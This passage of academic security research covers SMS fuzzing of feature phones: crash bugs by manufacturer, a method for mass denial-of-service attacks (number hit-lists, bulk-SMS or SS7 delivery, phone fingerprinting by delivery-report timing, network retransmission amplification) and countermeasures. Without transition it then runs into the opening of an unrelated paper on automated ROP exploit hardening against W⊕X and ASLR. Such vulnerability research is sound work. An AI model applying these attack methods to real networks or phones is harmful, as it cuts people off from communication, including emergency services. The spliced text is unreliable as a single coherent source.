observations made it clear that often the code that ren-

ders the flash SMS message on the display is not the

same as the one that displays a normal message from

the menu. Therefore, it can be prone to the same imple-

mentation flaws as simple text messages. Additionally,

flash SMS can consist of multipart chunks and there are

several combinations of TP-Protocol-Identifier and TP-

Data-Coding-Scheme that cause the phone to display the

SMS as flash message. Our flash SMS fuzzers aim to

cover a combination of all of the above possible imple-

mentation weaknesses.

4.7 Fuzzing Trial

After each fuzzing-test-run we evaluate the log gener-

ated by our monitoring script. All of the bugs described

later in this paper were triggered by one or very few SMS

messages and reproducing problems from log entries was

rarely problematic. However, during our fuzzing stud-

ies we stumbled across various forms of strange behav-

ior. Problems we faced included non-standard conform-

ing message replies and various kinds of weird behav-

ior. Some phones were not properly reporting memory

exhaustion. Others did not notice free memory until a re-

boot. Some did not display a received SMS message on

the user interface which made it hard to tell if the phone

accepted a message or silently discarded it on the phone.

Almost every phone we fuzzed needed a hard reset at

some point because it became simply unusable for un-

known reason, the mass of messages or a specific SMS

needed to be deleted from the SIM card using another

phone. One of the biggest issues we came across was

that very few manufacturers’ hard reset actually restored

the phone to an initial factory state. From what we know

this is done as a feature for customers in order to ensure

no personal data is lost. The behavior also differed be-

tween phones of the same manufacturer. When testing a

bug on the Samsung B5310 it was always sufficient to re-

move the offending SMS message from the phone’s SIM

card while the Samsung S5230 needed an additional hard

reset. Understanding such issues proved to be extremely

time-consuming. However, it is worth noting that purg-

ing a phone of all personal information can prove to be

nearly impossible for a user. This can become an issue

whenever a user plans to sell a used handset to a third

party.

4.8 Results

During our fuzz-testing we discovered quite a few bugs

that lead to security vulnerabilities. The bugs mostly

lead to phones crashing and rebooting, which discon-

nected the phones from the mobile network and inter-

rupted ongoing voice calls and data connections. Our

testing even resulted in two bricked phones that could

no longer be reset and brought back into working order.

We did not investigate the bricking in-depth because this

would have gotten quite costly. Furthermore, some of

the phones crash during the process of receiving the SMS

message, and, therefore, fail to acknowledge the message

thus causing re-transmission of the SMS message by the

network.

Below we present some of the bugs we discovered on

each platform. In most cases we fuzzed only one phone

from each platform and later only verified the bugs on

other phones we had access to. This is expected because

most manufacturers base their entire product line on a

single software platform. Only customizing options such

as the user interface depending on the hardware of a spe-

cific device.

We reported all bugs to the manufacturers including

full PDUs in order to verify and reproduce them. The

feedback we received indicates that the bugs are present

in most of their products based on their feature phone

platforms. So far we have not received any information

about fixes or updates.

Nokia S40: On our test devices 6300, 6233,

6131 NFC, 3110c we found a bug in the flash SMS

implementation. The phones run different versions of the

S40 operating system, the oldest of which was over 3

years older than the newest. The manufacturer confirmed

that this bug is present in almost all of their S40 phones.

By sending a certain flash SMS the phone crashes and

triggers the ”Nokia white-screen-of-death”. This also re-

sults in the phone disconnecting and re-connecting to the

mobile phone network. Most notably, the SMS actually

never reaches the mobile phone. The phone will crash

before it can fully process and acknowledge the message.

On the one hand this has the side effect that the GSM net-
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work performs a Denial-of-Service attack for free as it

continuously tries to transmit the message to the phone.

On the other hand this has a side effect on the phone since

there seems to be a watchdog in place that is monitoring

such crashes. This watchdog shuts down the phone af-

ter 3 to 5 crashes depending on the delay between the

crashes.

Sony Ericsson: Our test devices W800i, W810i,

W890i, Aino running OSE have a problem similar

to the Nokia phones. When combining certain payload

lengths together with a specific protocol identifier value

it is possible to knock the phone off the network. In

this case there is no watchdog, but one SMS message is

enough to force a reboot of the phone. As in the case of

the Nokia bug, this SMS message will never be acknowl-

edged by the phone. To get an idea on how wide spread

the problem is, we investigated the age of the devices and

found that the oldest phone (W800i) is from 2005 while

the newest phone (Aino) is from late 2009.

LG: Our LG GM360 seems to do insufficient bounds

checking when parsing an MMS indication message.

This allows us to construct an MMS indication SMS

message containing long strings that span over three or

more sms. This crashes the phone and thus forces an un-

expected reboot when receiving the message or as well

when trying to open the SMS message on the phone.

Motorola: As aforementioned, SMS supports telem-

atic interworking with other network types. By send-

ing one SMS message that specifies an Internet elec-

tronic mail interworking combined with certain charac-

ters in the payload it is possible to knock the phone off

the mobile network. Upon receiving the message the

phone shows a flashing white screen similar to the one

shown by the Nokia phones. The phone does not com-

pletely reboot; instead it simply restarts the user interface

and reconnects to the network. This process takes a few

seconds and depending on the payload it is possible to

achieve this twice in a row with one message. We ver-

ified this on the Razr, Rokr, and the SVLR L7 –

older, but extremely popular devices. The devices span

3+ years, providing us with confidence that the bug is

present in their entire platform.

Samsung: Multipart UDH chunks are commonly used

for payloads that span over multiple SMS messages. The

header chunk for multipart messages is simple.

Our Samsung phonesS5230 and B5310 do not prop-

erly validate such multipart sequences. This allows us to

craft messages that show up as a very large SMS mes-

sage on the phone. When opening such a message the

phone tries to reassemble the message and crashes. De-

pending on the exact model one to four SMS messages

are needed to trigger the bug.

Micromax: The Micromax X114 is prone to a sim-

ilar issue like the Samsung phones but behaves slightly

differently. When sending one SMS that contains a mul-

tipart UDH with a higher chunk ID than the overall num-

ber of chunks and a reference ID that has not been used

yet, the phone receives the SMS message without in-

stantly crashing. However a few seconds after the re-

ceipt the display turns black for some seconds before the

phone disconnects and reconnects to the network.

4.9 Validation and Extended Testing

After the initial fuzz-testing we needed to validate our

results over a real operator network since we tested in a

closed environment – our own GSM network. We need

to evaluate if the bugs can be triggered in the real world

or if operator restrictions prevent this. For the validation

we put an active SIM card (of the four German operators)

into our test phones and connected them to a real mobile

phone network. We sent the SMS PDUs that triggered

the bugs using the AT command interface of another mo-

bile phone. These tests validated all the bugs described

in the previous section.

During our fuzzing tests we deactivated the security

PIN on the SIM cards we used in the target phones so that

we did not have to enter the PIN on every reboot. We also

tested the phoneswith an enabled SIM PIN. Our goal was

to determine if such reboots also reset the baseband and

the SIM card. If the SIM card is blocked after reboot the

phone is not reconnected to the GSM network, and, thus,

the user is cut off permanently. We determined that this

is true for our LG, Samsung, and Nokia devices.

4.10 Bug Characterization

We group the discovered bugs depending on the software

layer they trigger.

The first group are bugs that require user interaction

such as the bug we discovered in the Samsung mobile

phones. In this case the user has to view the message in

order to trigger the bug.

The second group are bugs that crash without user in-

teraction. These bugs occur as soon as the phone has

completed receiving the entire message and starts pro-

cessing it. In this group we put the bugs we found on the

Motorola, LG, and Micromax devices.

The third and last group are bugs that trigger at a lower

layer of the software stack. With lower layer we mean

during the process of receiving the SMS message from

the network. A crash during the transfer process means

that the process is not completed and the network be-

lieves the message is not successfully delivered to the

phone. We categorize the bugs discovered in our Nokia

S40 and the Sony Ericsson devices in this third group.

9
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5 Implementing the Attack

The attacks presented in this work utilize SMS messages

to trigger software bugs and crash mobile handsets, in-

terrupting mobile communications. These bugs cover the

mobile phone platforms of all major handset manufactur-

ers and a wide variety of different models and firmware

versions. The resulting bug arsenal can potentially be

abused to carry out a large scale attack.

5.1 Building a Hit-List

To launch an attack phone numbers of mobile phones

need to be acquired since simply sending SMS messages

to every possible number is problematic. Furthermore,

sending SMSmessages to a large number of unconnected

phone numbers dark address space could trigger some

kind of fraud prevention system, such as observed on

the Internet to detect worms [7]. In addition, for the de-

scribed attack only phone numbers that are connected to

a mobile phone are of interest. Depending on the kind of

attack, a different set of phone numbers is required. In

one case an attack might be targeted towards a specific

mobile operator, therefore, only phone numbers that are

connected to the specific operator are of interest.

Regulatory Databases: In many countries around

the world mobile network operators have their own area

codes. Some examples are Germany1, Italy2, the United

Kingdom3, and Australia4. Such area codes can be read-

ily acquired to help building a hit-list. Likewise one can

use the North American Numbering Plan (NANP) to de-

termine which area exchange codes are used by mobile

operators.

Web Scraping: Web Scraping is a technique to col-

lect data from the World Wide Web through automated

querying of search engines using scripted tools. Find-

ing German mobile phone numbers can be easily done

through queries like "+49151*" site:.de. More-

over, online phonebooks [2] also include mobile phone

numbers. These sites often allowwild card searches, and,

thus can be abused to harvest mobile phone numbers.

HLR Queries: Some Bulk SMS operators [5] offer a

service to query the Home Location Register (HLR) for a

mobile phone number. These queries are very cheap (we

found one for only 0.006 Euro) and answers the ques-

tion if a mobile phone number exists and where it is

connected. Together with the information from the reg-

ulatory databases one can easily generate a list of a few

thousand mobile phone numbers that belong to a specific

mobile network operator.

5.2 Sending SMS Messages

SMS messages can be sent by a mobile phone that pro-

vides either an API that allows it to send arbitrary binary

messages or through its AT command interface. We used

the AT interface for most of our testing and validation.

To carry out any kind of large scale attack a way for de-

livering large quantities of SMS messages for low price

is needed. Multiple options exist to achieve this:

Bulk SMS Operators: Bulk SMS operators such

as [1, 5, 3] offer mass SMS sending over the Internet

providing various methods ranging from HTTP to FTP

and the specialized SMPP (Short Messaging Peer Proto-

col). Bulk SMS operators are so-called External Short

Message Entity (EMSE) that are often connected via In-

ternet to the mobile operators but sometimes have their

own SS7 connection to the Public Switched Telephone

Network (PSTN). Figure 4 shows the various connec-

tions of an EMSE. All Bulk SMS operators operate in

the same way. For a given amount of money they de-

liver SMS messages to the specified destination(s). No

questions asked. Most of the APIs support sending a sin-

gle message to a list of recipients. Prices range from 0.1

to 0.01 Euro depending on the volume and destination

of the messages. The APIs among the bulk SMS opera-

tors differ. Usually they allow to set a number of SMS

fields from which they assemble the actual payload. Not

all of them are offering the same predefined fields. For

example [3] was the only one that allows us to set a TP-

Protocol-Identifier field. However, we verified that the

provided APIs are sufficient to carry out the presented

attacks and to generate attack payloads that are identical

to those sent from one of our phones.






















 





Figure 4: SMS relevant structure of a mobile network

operator (MNO) network and the links to the PSTN, ES-

MEs, and other MNOs.

Mobile Phone Botnets: A botnet consisting of hi-

jacked mobile or smartphones [35] could also be used

for such attacks since every mobile phone is capable of

sending SMS messages. A mobile botnet has the distinct

advantage of free message delivery and high anonymity
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for the attacker. using a mobile phone botnet one could

circumvent restrictions Bulk SMS operator might have

in different countries.

SS7 Access: With direct access to the Signaling Sys-

tem 7 (SS7) of the Public Switched Telephone Network

(PSTN) an attacker can very easily send SMS messages

in large quantities, for example to send SMS spam [25].

Figure 4 shows the basic network connections of a mo-

bile network operator. SMS sending via SS7 also has the

advantage of not being easily traceable, thus an attacker

can stay hidden for a longer period of time. Addition-

ally, SMS messages sent via SS7 are not restricted by

the Bulk SMS Operators (APIs) in terms of content or

header information that they contain.

5.3 Reducing the Number of Messages

There is one issue left with our attack. That is how can

one determine the type of mobile phone that is connected

to a specific phone number. If money does not play a

role in carrying out the attack this issue is easily resolved.

The attacker just sendsmultiple SMSmessages, each one

containing the payload for a specific type of phone, to

each phone number. One of the messages will trigger the

bug if the phone is vulnerable at all. This works well

but is not optimal. To reduce the number of messages

an attacker has to send we developed a technique that

allows the attacker to determine what kind of phone is

connected to a specific phone number. Actually we can

only determine if a specific malicious message has an

effect on the phone that is connected to a specific number.

Our method abuses a specific feature present in the

SMS standard. This feature is called recipient noti-

fication, it is indicated through the TP-Status-Report-

Request flag in an SMS message. If the flag is set the

SMSC notifies the sender of the message when the re-

cipient has received the message. Most Bulk SMS oper-

ators support this feature through their APIs. Our method

works by measuring the delay between sending the mes-

sage and receiving the reception notification.

The technique works as follows: First, we send the

message containing the payload for crash(1). Second,

when we receive the receipt for that message we send the

payload for crash(2). Third, we measure the time differ-

ence between the two notifications. If the difference is

equal we continue with the next payload. If the differ-

ence between both notifications is significant we deter-

mine that the first message crashed the phone. The phone

needed to reboot and register on the network before be-

ing able to accept the next message. If there is no noti-

fication we determine that the phone did not receive the

message because it crashed before completely accepting

the message. Fourth, we continue until all crash pay-

loads are sent. If none of them trigger, the phone number

is removed from the hit-list. The method can be opti-

mized through ordering the crash payloads according to

the popularity of mobile phones in the targeted country.

With this method an attacker can optimize a hit-list

during an ongoing attack by matching bug-to-phone-

number. This optimized hit-list could as well be used for

highly targeted attacks. For example against the network

operator as described in Section 5.5, which explains our

attack scenarios.

5.4 Network Assisted Attack Amplification

Some of the bugs we discovered prevent the phone from

acknowledging the SMS message to the network. Fig-

ure 2 shows the states that happen during a message

transfer from the network to the phone. In the case of

some of our bugs (Nokia S40 and Sony Ericsson; Bug

Characterization Section 4.10) the message RP-ACK is

not sent by the phone. This leads the network to believe

that the message was not received, therefore, the SMSC

will try to resend the SMSmessage to the phone. This re-

delivery attempt is a perfect attack amplifier somewhat

similar to smurf attacks [26] on IP networks.
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Figure 5: Timing of SMS message delivery attempts.

In our tests, sending malicious SMS messages over

real operator networks, we discovered that operators

have different re-transmit timings, shown in Figure 5.

Furthermore, they also seem to have different transmit

queues. We measured the delivery timings of some Ger-

man mobile network operators in order to determine how

one could abuse the delivery attempts for improving our

Denial-of-Service attacks. We conducted the test by at-

tacking one of our Sony Ericsson devices and monitoring

the phone using the Bluetooth method described in Sec-

tion 4.4.

The tests were carried out on the networks of Voda-

fone, T-Mobile, O2 (Telefonica), and E-Plus. The initial
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delivery attempt is at minute 0. It shows that all opera-

tors do a first re-transmit after 1 minute, and a few more

re-transmits every 5 minutes. In addition to what Fig-

ure 5 shows, Vodafone does an additional re-delivery 24

hours after the last delivery shown in the graph. O2 also

attempts an additional re-delivery 20 hours after the last

delivery shown in the graph.

Through the same test we determined that SMS mes-

sages are not queued, but have an individual re-transmit

timer. That means an attacker can send multiple mali-

cious SMS messages to a victim’s phone with a short

delay between each message and thus can increase the

effect of the network assisted attack by sending multiple

messages.

5.5 Attack Scenarios and Impact

There are multiple possible attack scenarios such as or-

ganized crime going after the end-user, the mobile op-

erator, and the manufacturer to demand money. Attacks

could also be carried out for fun by script kiddies and the

like. Below we discuss some possible scenarios. We ac-

knowledge that some scenarios such as the attack against

individuals are more likely then an attack against a man-

ufacturer.

Individuals: Individuals could be pressured to pay a

few Euros in order to keep their phone operational. This

has happened with the Ikke.A [35] worm that requested

the user to pay 5 Euros in order to get back the control

over their iPhone. In our case the victim could be forced

to send a text message to a premium rate number in order

to be taken off the hit-list.

Another attack against an individual or a group could

aim to prevent them from communicating. This can be

efficiently carried out if the target uses a SIM card with

security PIN enabled, as we describe in Section 4.9.

Operators: Operators could be threatened to have all

their customers attacked. Such an attack would mainly

kill the operator’s reputation as being reliable. The op-

erator might also lose money due to people being un-

able to call and send text messages. In order to have a

global impact such an attack has to be carried out on a

very large scale for a longer time. As a result, customers

could possibly terminate their contract with the operator.

Such extortion scams were and still are popular on the

Internet [8].

Furthermore, the operator’s mobile network can be

attacked directly or as a side effect of an large attack

against its users. This could work when thousands of at-

tacked phones drop off the network and try to re-connect

at the same time. This can cause an overload of the back-

end infrastructure such as the HLR. This kind of attack

seems likely since mobile networks are not optimized for

these specific kinds of requests. A similar attack based

on unusual requests was shown in [36]. It is not nor-

mal that thousands of phones try to connect and authen-

ticate at the same time over and over again. To optimize

this DoS attack, the attacker needs to make sure to tar-

get phones connected to different BTSs and MSCs (Fig-

ure 4) of the targeted operator in order to circumvent bot-

tlenecks such as the air interface at the BTS. A clogged

air interface would throttle the attack.

Manufacturers: Likewise manufacturers could be

threatened to have their brand name destroyed or weak-

ened by attacking random people owning their specific

brand of mobile phones. The attack could cost them

twice. Once for the bad reputation and second for re-

placement devices. Even if the phones are not broken

victims of such an attack will still try to claim their de-

vice broken to get a replacement.

Public Distress: A carefully placed attack during a

time of public distress could lead to large scale prob-

lems and possibly a panic. One example occurred in

Estonia [19] in 2007 when a group of people carried

out a Denial-of-Service attack against the countries Inter-

net infrastructure. Additionally, cutting off certain user

groups such as fireman or police officers during an emer-

gency situation would have a critical impact. Not ev-

ery country has special infrastructure for emergency per-

sonal, and, therefore, rely on mobile phones to communi-

cate. This is even true in countries like Germany where

every police officer carries a mobile phone since their

two-way-radios are often not usable.

6 Countermeasures

In this section we present countermeasures to detect and

prevent the kind of attacks we developed. First, we

present a mechanism to detect our and similar attacks

through monitoring for a specific misbehavior. Second,

we discuss filtering of SMS messages. Filtering can be

done on either the phones themselves or on the network.

We discuss the advantages and disadvantages of each of

them. Third, we briefly discuss amplification attacks.

6.1 Detection

To prevent our attacks, operators first need to be able

to detect them. Detection is not very easy since the

operator does not get to look inside the phone during

runtime. Therefore, the only possible way to monitor the

phone is through the network. We propose the following:

Monitor Phone Connectivity Status: Monitor if a

phone disconnects from the network right after receiving

an SMS message.

Log last N SMSMessages: Log the last N SMS mes-

sages sent to a particular phone in order to analyze pos-
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sible malicious messages after a crash was detected. Use

the message as input for SMS filters/firewall.

Use IMEI to Detect Phone Type: The brand and

type of a mobile phone can be derived from the IMEI

(International Manufacturer Equipment Identity). This

is useful to correlated malicious SMS messages to a

specific brand and type of phone.

Using this technique it is possible to catch malicious

SMS messages that cause phones to reboot and lose net-

work connectivity. This should especially help to catch

unknown payloads that cause crashes. Such a monitor is

also capable of detecting if a large attack is in progress by

correlating multiple SMS-receive-disconnect events in a

certain time-frame.

6.2 SMS Filtering

SMS filtering can be implemented either directly on the

phone or within the operator’s network. Both possibil-

ities have inherent benefits and drawbacks that are pre-

sented in this section.

It is important to reconsider the process of SMS

delivery. First, an SMS message is sent from the

sender phone to the senders SMSC. Next, the senders

SMSC queries for the SMSC of the recipient and

delivers the message to the responsible SMSC. Fi-

nally, the relevant SMSC locates the recipient’s phone

and delivers the SMS message via the BTS Over-the-Air.

Client-side SMS Filtering would need to be done

right after the modem of the phone received and demod-

ulated all the frames carrying the SMS message and be-

fore pushing it up the application stack. The filter would

need to parse the SMS message and check for known bad

messages similar to signature-based antivirus software or

a packet filter firewalls. The problem with this solution

is the update of the signatures. Of course, the parser

in the SMS filter must be bug free otherwise the attack

just moves from the phone software to the filter software.

Also, devices that are already in the field would not profit

from such a filter since only new phones will have this.

Also, newer phones will likely not contain bugs that are

known at the time they are manufactured. Therefore, we

believe network-side filters make more sense.

Network-side SMS Filtering takes place on the

SMSC of the mobile network operator. Therefore, it can

inspect all incoming and outgoing SMS messages. There

are multiple advantages of network-side filtering. First,

the filter software runs on the network, therefore, it cov-

ers all mobile phones connected to that network. Second,

changing the filter rules can be done in one central place.

Third, malicious SMS messages are not sent out to the

destination mobile phones, therefore, reducing network

load during an attack.

Network-side filters also have drawbacks. First, if a

phone is roaming within another operator’s network, the

SMS message does not travel through the network of the

home operator. Thus the filters are not touched. This is

the only advantage of phone-side SMS filtering. In this

case the user becomes attackable as soon as he leaves

his home network. For traveling business people in Eu-

rope, this is quite normal. The GSMA already has a solu-

tion for this issue called SMS homerouting. SMS Home-

routing as specified in [11] defines that SMS messages

are always routed through the receiver’s home-network.

Meaning that all SMS messages travel through SMSCs

of his service provider at home. SMS messages, there-

fore, can be filtered by the receiver’s service provider.

The second issue with network-side filtering is privacy.

In order to do SMS filtering the operator must be allowed

to inspect SMS messages. This could be an issue in some

countries where mobile telephony falls under special reg-

ulations.

6.3 Preventing Network Amplification

Attack amplification through re-transmissions of SMS

messages should be avoided since this greatly helps an

attacker. We suggest that operators limit the number of

re-transmissions. Some operators re-send the messages

10 times, this seems unnecessary.

7 Conclusions

In this paper we have shown how to conduct vulnerabil-

ity analysis of feature phones. Feature phones are not

open in any way, the hardware and software are both

closed and thus do not support any classical debugging

methods. Throughout our work we have created analy-

sis tools based on a small GSM base station. We use the

base station to send SMS payloads to our test phones and

to monitor their behavior. Through this testing we were

able to identify vulnerabilities in mobile phones built by

six major manufacturers. The discovered vulnerabilities

can be abused for Denial-of-Service attacks. Our attacks

are significant because of the popularity of the affected

models – an attacker could potentially interrupt mobile

communication on a large scale. Our further analysis

of the mobile phone network infrastructure revealed that

networks configured in a certain way can be used to am-

plify our attack. In addition, our attack can be used to not

only attack the mobile handsets, but through their misbe-

havior can be used to carry out an attack against the core

of the mobile phone network.

To detect and prevent these kind of attacks we suggest

a set of countermeasures. We conceived a method to de-

13
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tect our and similar attacks by monitoring for a specific

behavior.
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Notes

1http://en.wikipedia.org/wiki/Telephone numbers in Germany

2http://en.wikipedia.org/wiki/Telephone numbers in Italy

3http://en.wikipedia.org/wiki/Telephone numbers in the United Kingdom

4http://en.wikipedia.org/wiki/Telephone numbers in Australia

APPENDIX

Figure 6 shows the layout of an SMS message in the

SMS SUBMIT format. Figure 7 shows the generic lay-

out of a User Data Header (UDH) with a number of In-

formation Elements.

Field Size

TP-Message-Type-Indicator 2 bit

TP-Reject-Duplicates 1 bit

TP-Validity-Period-Format 2 bit

TP-Status-Report-Request 1 bit

TP-User-Data-Header-Indicator 1 bit

TP-Reply-Path 1 bit

TP-Message-Reference integer

TP-Destination-Address 2-12 byte

TP-Protocol-Identifier 1 byte

TP-Data-Coding-Scheme 1 byte

TP-Validity-Period 1 byte/7 byte

TP-User-Data-Length integer

TP-User-Data depends on DCS/UDL

Figure 6: Format of the SMS SUBMIT PDU.

Field Size

UDHL 1 byte

IEI1 1 byte

IEIDL1 1 byte

IEID1 n bytes

...

IEIn 1 byte

IEIDLn 1 byte

IEIDn n bytes

Figure 7: The User Data Header

Table 8 shows an overview of the popularity of mobile

phone manufacturers in Germany, the United States, in

Europe, and around the world.

Manufacturer Market Share

Nokia 35.4%

Sony Ericsson 22.0%

Samsung 15.0%

Motorola 8.6%

Siemens 5.4%
(a) Germany, November 2009

Manufacturer Market Share

Samsung 22.4%

LG 21.5%

Motorola 21.2%

RIM 8.7%

Nokia 8.1%
(b) U.S.A., May 2010

Manufacturer Market Share

Nokia 32.8%

Samsung 12.5%

LG 4.1%

Sony Ericsson 3.7%

Apple 3.0%

RIM 2.4%

Others 3.0%
(c) Europe, June 2010

Manufacturer Market Share

Nokia 38.0%

Samsung 20.0%

LG 10.0%

Sony Ericsson 5.0%

Motorola 5.0%

ZTE 4.5%

Kyocera 4.0%

RIM 3.5%

Sharp 2.6%

Apple 2.2%

Others 5.0%
(d) World, for the year 2009

Figure 8: Mobile phone Manufacturer Market share
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Abstract
Prior work has shown that return oriented programming
(ROP) can be used to bypass W⊕X, a software defense
that stops shellcode, by reusing instructions from large
libraries such as libc. Modern operating systems have
since enabled address randomization (ASLR), which ran-
domizes the location of libc, making these techniques
unusable in practice. However, modern ASLR implemen-
tations leave smaller amounts of executable code unran-
domized and it has been unclear whether an attacker can
use these small code fragments to construct payloads in
the general case.

In this paper, we show defenses as currently deployed
can be bypassed with new techniques for automatically
creating ROP payloads from small amounts of unran-
domized code. We propose using semantic program ver-
ification techniques for identifying the functionality of
gadgets, and design a ROP compiler that is resistant to
missing gadget types. To demonstrate our techniques, we
build Q, an end-to-end system that automatically gener-
ates ROP payloads for a given binary. Q can produce
payloads for 80% of Linux /usr/bin programs larger
than 20KB. We also show that Q can automatically per-
form exploit hardening: given an exploit that crashes
with defenses on, Q outputs an exploit that bypasses both
W⊕X and ASLR. We show that Q can harden nine real-
world Linux and Windows exploits, enabling an attacker
to automatically bypass defenses as deployed by industry
for those programs.

1 Introduction

Control flow hijack vulnerabilities are extremely danger-
ous. In essence, they allow the attacker to hijack the
intended control flow of a program and instead execute
whatever actions the attacker chooses. These actions

could be to spawn a remote shell to control the program,
to install malware, or to exfiltrate sensitive information
stored by the program.

Luckily, modern OSes now employ W⊕X and ASLR
together — two defenses intended to thwart control flow
hijacks. Write xor eXecute (W⊕X, also known as DEP)
prevents an attacker’s payload itself from being directly
executed. Address space layout randomization (ASLR)
prevents an attacker from utilizing structures within the
application itself as a payload by randomizing the ad-
dresses of program segments. These two defenses, when
used together, make control flow hijack vulnerabilities
difficult to exploit.

However, ASLR and W⊕X are not enforced com-
pletely on modern OSes such as OS X, Linux, and Win-
dows. By completely, we mean enforced such that no
portion of code is unrandomized for ASLR, and that in-
jected code can never be executed by W⊕X. For example,
Linux does not randomize the program image, OS X does
not randomize the stack or heap, and Windows requires
third party applications to explicitly opt-in to ASLR and
W⊕X. Enforcing ASLR and W⊕X completely does not
come without cost; it may break some applications, and
introduce a performance penalty.

Previous work [41] has shown that systems that do
not randomize large libraries like libc are vulnerable to
return oriented programming (ROP) attacks. At a high
level, ROP reuses instruction sequences already present
in memory that end with ret instructions, called gad-
gets. Shacham showed that it was possible to build a
Turing-complete set of gadgets using the program code
of libc. Finding ROP gadgets has since been, to a large
extent, automated when large amounts of code are left un-
randomized [16, 21, 38]. However, it has been left as an
open question whether current defenses, which randomize
large libraries like libc but leave small amounts of code

1
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unrandomized, are sufficient for all practical purposes, or
permit such attacks.

In this paper, we show that current implementations are
vulnerable by developing automated ROP techniques that
bypass current defenses and work even when there is only
a small amount of unrandomized code. While it has long
been known that ASLR and W⊕X offer important protec-
tion in theory, our main message is that current practical
implementations make compatibility and performance
tradeoffs, and as a result it is possible to automatically
harden existing exploits to bypass these defenses.

Bypassing defenses on modern operating systems re-
quires ROP techniques that work with whatever unran-
domized code is available, and not just pre-determined
code or large libraries. To this end, we introduce several
new ideas to scale ROP to small code bases.

One key idea is to use semantic definitions to deter-
mine the function, if any, of an instruction sequence. For
instance, rather than defining movl *, *; ret as a
move gadget [21, 38], we use the semantic definition
OutReg ← InReg. This allows us to find unexpected
gadgets such as realizing imul $1, %eax, %ebx;
ret1 is actually a move gadget.

Another key point is that our system needs to grace-
fully handle missing gadget types. This is comparable
to writing a compiler for an instruction set architecture,
except with some key instructions removed; the com-
piler must still be able to add two numbers even when
the add instruction is missing. We use an algorithm
that searches over many combinations of gadget types in
such a way that will synthesize a working payload even
when the most natural gadget type is unavailable. Prior
work [16, 21, 38] focuses on finding gadgets for all gad-
get types, such that a compiler can then create a program
using these gadget types. This direct approach will not
work without additional logic if some gadget types are
missing. However, we are not aware of prior work that
considers this. This is essential in our application domain,
since most programs will be missing some gadget types.

Our results build on existing ROP research. Previous
ROP research was either performed by hand [6, 9, 41], or
focused on large code bases such as libc [38] (1,300KB),
a kernel [21] (5,910KB) or mobile libraries [16, 24] (size
varies; on order of 1,000KB). In contrast, our techniques
work on small amounts of code (20KB). In our evaluation
(Section 7), we show that Q can build ROP payloads for
80% of Linux programs larger than 20KB. Q can also
transplant the ROP payloads into an existing exploit that
does not bypass defenses, effectively hardening the origi-

1We use AT&T assembly syntax in this paper, i.e., the source operand
comes first.

nal exploit to bypass W⊕X and ASLR. Recent work in
automatic exploit generation [2, 5] can be used to gen-
erate such exploits. We show that Q can automatically
harden nine exploits for real binary programs on Linux
and Windows to bypass implemented defenses. Since
these defenses can automatically be bypassed, we con-
clude that they provide insufficient security.

Contributions. Our main contribution is demonstrating
that existing ASLR and W⊕X implementations do not
provide adequate protection by developing automated
techniques to bypass them. First, we perform a survey
of modern implementations and show that they often do
not protect all code even when they are “turned on”. This
motivates our problem setting. Second, we develop ROP
techniques for small, unrandomized code bases as found
in most practical exploit settings. Our ROP techniques
can automatically compile programs written in a high-
level language down to ROP payloads. Third, we evaluate
our techniques in an end-to-end system, and show that
we can automatically bypass existing defenses for nine
real-life vulnerabilities on both Windows and Linux.

2 Background and Defense Survey

There is a notion that code reuse attacks like return ori-
ented programming are not possible when ASLR is en-
abled at the system level. This is only half true. If ASLR
is applied to all program segments, then code reuse is in-
tuitively difficult, since the attacker does not know where
any particular instruction sequence will be in memory.
However, ASLR is not currently applied to all program
segments, and we will show that attackers can use this
to their advantage. In this section, we explain the W⊕X
and ASLR defenses in more detail, focusing on when a
program segment may be left unprotected.

Table 1 summarizes some of these limitations. The key
insight that we make use of in this paper is that program
images are always unrandomized unless the program ex-
plicitly opts in to randomization. On Linux, for instance,
this mean that developers must set non-default compiler
flags to enable randomization. Another surprise is that
W⊕X is often disabled when older hardware is used;
some virtualization platforms by default will omit the
virtual hardware needed to enable W⊕X.

2.1 W⊕X
W⊕X prevents attackers from injecting their own payload
and executing it by ensuring that protected program seg-
ments are not writable and executable at the same time

2
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Operating System W⊕X
ASLR

stack,
heap libraries

program
image

Ubuntu 10.04 Yes Yes Yes Opt-In

Debian Sarge HW Yes Yes Opt-In

Windows Vista, 7 HW Yes Opt-In Opt-In

Mac OS X 10.6 HW No Yes No

Table 1: Comparison of defenses on modern operating
systems for the x86 architecture with default settings. Opt-
In means that programs and libraries must be explicitly
marked by the developer at compile time for the protection
to be enabled, and that some compilers do not enable
the marking by default. HW denotes that the level of
protection depends on hardware.

(Writable ⊕ eXecutable2). Attackers have traditionally
included shellcode (executable machine code) in their
exploits as payloads. Since shellcode must be written to
memory at runtime, it cannot be executed because of the
W⊕X property.

W⊕X Implementation W⊕X is implemented [29, 30,
35] using a NX (no execute) bit that the hardware platform
enforces: if execution moves to a page with the NX bit
enabled, the hardware raises a fault. On x86, this bit can
be set using the PAE addressing mode [22].

PAE support is disabled by default in Ubuntu Linux,
since some older hardware does not support it. The Ex-
ecShield [31] patch, which is included in Ubuntu, can
emulate W⊕X by using x86 segments, even when hard-
ware NX support is not available. Other distributions (such
as Debian) do not include the ExecShield patch, and do
not provide any W⊕X protection in default kernels.

Windows 7 enables W⊕X3 by default for processors
supporting the NX bit. However, it only enforces W⊕X
for binaries and libraries marked as W⊕X compatible.
Many notable third-party software programs such as Ora-
cle’s Java JRE, Apple Quicktime, VLC Media Player and
others do not opt-in to W⊕X [36].

Limitations The main limitation of W⊕X is that it only
prevents an attacker from utilizing new payload code. The
attacker can still reuse existing code in memory. For
instance, an attacker can call system by launching a

2W⊕X is actually a misnomer, because memory is allowed to be
unwritable and non-executable, but 0⊕ 0 = 0.

3W⊕X is called DEP by the Windows community. Windows also
contains software DEP, but this is unrelated to W⊕X [30].

return-to-libc attack, in which the attacker creates an ex-
ploit that will call a function in libc without injecting any
shellcode. W⊕X does not prevent return-to-libc attacks
because the executed code is in libc and is intended to
be executable at compile time. Return Oriented Program-
ming is another, more advanced attack on W⊕X, which
we discuss in Section 2.3.

2.2 ASLR
ASLR prevents an attacker from directly referring to ob-
jects in memory by randomizing their locations. This
stops an attacker from being able to transfer control to his
shellcode by hardcoding its address in his exploit. Like-
wise, it makes return-to-libc and ROP using libc difficult,
because the attacker will not know where libc is located
in memory.

Implementation ASLR implementations randomize
some subset of the stack, heap, shared libraries (e.g., libc),
and program image (e.g., the .text section).

Linux [31, 34] randomizes the stack, heap, and shared
libraries, but not the program image. Programs can be
manually compiled into position independent executables
(PIEs) which can then be loaded to multiple positions
in memory. Modern distributions [14, 44] only compile
a select group of programs as PIEs, because doing so
introduces a performance overhead at runtime.

